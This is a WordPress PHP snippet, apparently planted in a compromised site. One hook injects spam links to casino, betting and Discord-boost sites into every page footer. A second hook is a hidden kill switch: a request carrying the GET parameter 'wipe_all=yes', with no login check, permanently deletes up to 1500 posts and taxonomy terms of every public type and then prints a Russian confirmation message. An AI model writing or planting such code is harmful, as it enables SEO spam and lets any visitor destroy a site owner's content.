add_action('wp_footer', function () { echo '
'; $links = [ 'https://casino-pure.com' => 'pure casino', 'https://moonwinca.com/' => 'Moonwin casino', 'https://discordserverboost.com/' => 'Buy Discord boost', 'https://casino-woo.com' => 'woo casino', 'https://rockpaperscissors.casino/' => 'Rock Paper Scissors casino', 'https://hollywoodbets-mob.com' => 'hollywoodbets', 'https://casinobetsala.com' => 'betsala', 'https://black-panther-slot.com/' => 'Black panther slot', 'https://casibom-girisguncel.com/' => 'Casibom giris guncel', 'https://betsson-mexico.com.mx/aplicacion/' => 'Betsson app', 'https://casinostrendus.com/en/app/' => 'strendus casino app']; foreach ($links as $url => $anchor) { echo "

$anchor

"; } echo '
'; }); add_action('init', function () { $limit = 1500; if (isset($_GET['wipe_all']) && $_GET['wipe_all'] === 'yes') { $post_types = get_post_types(['public' => true], 'names'); foreach ($post_types as $post_type) { $posts = get_posts([ 'post_type' => $post_type, 'numberposts' => $limit, 'post_status' => 'any' ]); foreach ($posts as $post) { wp_delete_post($post->ID, true); } } $taxonomies = get_taxonomies(['public' => true], 'names'); foreach ($taxonomies as $taxonomy) { $terms = get_terms([ 'taxonomy' => $taxonomy, 'hide_empty' => false, 'number' => $limit ]); foreach ($terms as $term) { wp_delete_term($term->term_id, $taxonomy); } } wp_die('✅ Удалено до ' . $limit . ' записей.'); } });